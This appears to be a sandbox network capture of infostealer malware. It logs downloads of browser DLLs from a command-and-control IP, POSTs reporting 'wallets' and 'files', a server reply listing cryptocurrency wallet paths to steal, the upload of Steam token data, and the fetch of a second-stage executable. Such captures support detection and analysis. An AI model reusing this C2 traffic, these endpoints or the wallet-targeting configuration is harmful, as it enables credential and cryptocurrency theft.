Dec 8, 2024 15:38:42.076150894 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:41 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Dec 8, 2024 15:38:42.723568916 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 8, 2024 15:38:43.160379887 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:42 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Dec 8, 2024 15:38:46.234247923 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 8, 2024 15:38:46.670752048 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:46 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Dec 8, 2024 15:38:47.288492918 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 8, 2024 15:38:47.724872112 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:47 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Dec 8, 2024 15:38:48.481570005 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKEBKJJDGHCBGCAAKEHD Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Dec 8, 2024 15:38:49.574542999 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 8, 2024 15:38:49.620918989 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKEGDAKEHJDHIDHJJDAE Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 61 30 63 34 39 62 33 35 61 32 31 37 35 34 39 33 38 37 66 30 31 61 33 33 63 32 38 65 63 34 65 35 33 34 65 38 38 38 30 37 32 64 36 66 39 34 66 63 64 34 30 37 62 63 30 33 65 32 66 61 63 36 34 63 32 66 64 35 31 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 2d 2d 0d 0a Data Ascii: ------AKEGDAKEHJDHIDHJJDAEContent-Disposition: form-data; name="token"d39a0c49b35a217549387f01a33c28ec4e534e888072d6f94fcd407bc03e2fac64c2fd51------AKEGDAKEHJDHIDHJJDAEContent-Disposition: form-data; name="message"wallets------AKEGDAKEHJDHIDHJJDAE--
Dec 8, 2024 15:38:49.920348883 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKEGDAKEHJDHIDHJJDAE Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 61 30 63 34 39 62 33 35 61 32 31 37 35 34 39 33 38 37 66 30 31 61 33 33 63 32 38 65 63 34 65 35 33 34 65 38 38 38 30 37 32 64 36 66 39 34 66 63 64 34 30 37 62 63 30 33 65 32 66 61 63 36 34 63 32 66 64 35 31 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 2d 2d 0d 0a Data Ascii: ------AKEGDAKEHJDHIDHJJDAEContent-Disposition: form-data; name="token"d39a0c49b35a217549387f01a33c28ec4e534e888072d6f94fcd407bc03e2fac64c2fd51------AKEGDAKEHJDHIDHJJDAEContent-Disposition: form-data; name="message"wallets------AKEGDAKEHJDHIDHJJDAE--
Dec 8, 2024 15:38:50.059990883 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:49 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Dec 8, 2024 15:38:50.063790083 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKFIDGDHJEGIEBFHDGDG Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 46 49 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 61 30 63 34 39 62 33 35 61 32 31 37 35 34 39 33 38 37 66 30 31 61 33 33 63 32 38 65 63 34 65 35 33 34 65 38 38 38 30 37 32 64 36 66 39 34 66 63 64 34 30 37 62 63 30 33 65 32 66 61 63 36 34 63 32 66 64 35 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 49 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 49 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 2d 2d 0d 0a Data Ascii: ------JKFIDGDHJEGIEBFHDGDGContent-Disposition: form-data; name="token"d39a0c49b35a217549387f01a33c28ec4e534e888072d6f94fcd407bc03e2fac64c2fd51------JKFIDGDHJEGIEBFHDGDGContent-Disposition: form-data; name="message"files------JKFIDGDHJEGIEBFHDGDG--
Dec 8, 2024 15:38:50.503217936 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 8, 2024 15:38:50.515762091 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJJDBAEHIJKJKEBFIEGH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4a 44 42 41 45 48 49 4a 4b 4a 4b 45 42 46 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 61 30 63 34 39 62 33 35 61 32 31 37 35 34 39 33 38 37 66 30 31 61 33 33 63 32 38 65 63 34 65 35 33 34 65 38 38 38 30 37 32 64 36 66 39 34 66 63 64 34 30 37 62 63 30 33 65 32 66 61 63 36 34 63 32 66 64 35 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 44 42 41 45 48 49 4a 4b 4a 4b 45 42 46 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 44 42 41 45 48 49 4a 4b 4a 4b 45 42 46 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IJJDBAEHIJKJKEBFIEGHContent-Disposition: form-data; name="token"d39a0c49b35a217549387f01a33c28ec4e534e888072d6f94fcd407bc03e2fac64c2fd51------IJJDBAEHIJKJKEBFIEGHContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IJJDBAEHIJKJKEBFIEGHContent-Disposition: form-data; name="file"------IJJDBAEHIJKJKEBFIEGH--
Dec 8, 2024 15:38:51.447232008 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 8, 2024 15:38:51.476886988 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKECAEBGHDAEBFHIEGHI Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 43 41 45 42 47 48 44 41 45 42 46 48 49 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 61 30 63 34 39 62 33 35 61 32 31 37 35 34 39 33 38 37 66 30 31 61 33 33 63 32 38 65 63 34 65 35 33 34 65 38 38 38 30 37 32 64 36 66 39 34 66 63 64 34 30 37 62 63 30 33 65 32 66 61 63 36 34 63 32 66 64 35 31 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 41 45 42 47 48 44 41 45 42 46 48 49 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 41 45 42 47 48 44 41 45 42 46 48 49 45 47 48 49 2d 2d 0d 0a Data Ascii: ------BKECAEBGHDAEBFHIEGHIContent-Disposition: form-data; name="token"d39a0c49b35a217549387f01a33c28ec4e534e888072d6f94fcd407bc03e2fac64c2fd51------BKECAEBGHDAEBFHIEGHIContent-Disposition: form-data; name="message"ybncbhylepme------BKECAEBGHDAEBFHIEGHI--
Dec 8, 2024 15:38:51.916259050 CET	271	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49825	185.215.113.16	80	3660	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:38:52.041014910 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Dec 8, 2024 15:38:53.373462915 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 08 Dec 2024 14:38:52 GMT Content-Type: application/octet-stream Content-Length: 3256832 Last-Modified: Sun, 08 Dec 2024 14:30:00 GMT Connection: keep-alive ETag: "6755ad68-31b200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 c0 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf1@12@WkH11 @.rsrc@.idata @rzyboxfo+*@hkjloacr11@.taggant01"1@
Dec 8, 2024 15:38:53.373476982 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 8, 2024 15:38:53.373490095 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 8, 2024 15:38:53.373500109 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 8, 2024 15:38:53.373512030 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 8, 2024 15:38:53.373524904 CET	1236	IN	Data Raw: 14 a8 c8 40 88 4f 10 dc bf 6a 41 74 74 0d 32 ba bb cd 6b e1 bc e5 63 04 88 29 fc 5b af a7 fd 73 14 a8 c8 40 88 4f 04 dc d7 6a 41 74 74 b9 2f ba bb cd 4b e1 bc e5 63 64 88 29 fc 5b 8f a7 fd 73 14 a8 c8 40 88 4f 04 dc e3 6a 41 74 74 35 31 ba bb cd Data Ascii: @OjAtt2kc)[s@OjAtt/Kcd)[s@OjAtt51+c)[os@OjAtt&c$)[Os@OjAtt,c)[/s@OjAtt,c)[s@OjAtty-cD)[s@OjAtt%
Dec 8, 2024 15:38:53.373537064 CET	1236	IN	Data Raw: bc e5 63 44 96 29 fc 5b ef a3 fd 73 14 a8 c8 40 88 4f 00 dc 53 6b 41 74 74 61 30 ba bb cd 8b dc bc e5 63 a4 96 29 fc 5b cf a3 fd 73 14 a8 c8 40 88 4f 04 dc 5b 6b 41 74 74 a1 2f ba bb cd 6b dc bc e5 63 04 97 29 fc 5b af a2 fd 73 14 a8 c8 40 88 4f Data Ascii: cD)[s@OSkAtta0c)[s@O[kAtt/kc)[s@OgkAttyKcd)[s@OokAtt}1+c)[os@OkAttIc$)[Os@OkAtt1c)[/s@OkAtt)c)[s@O
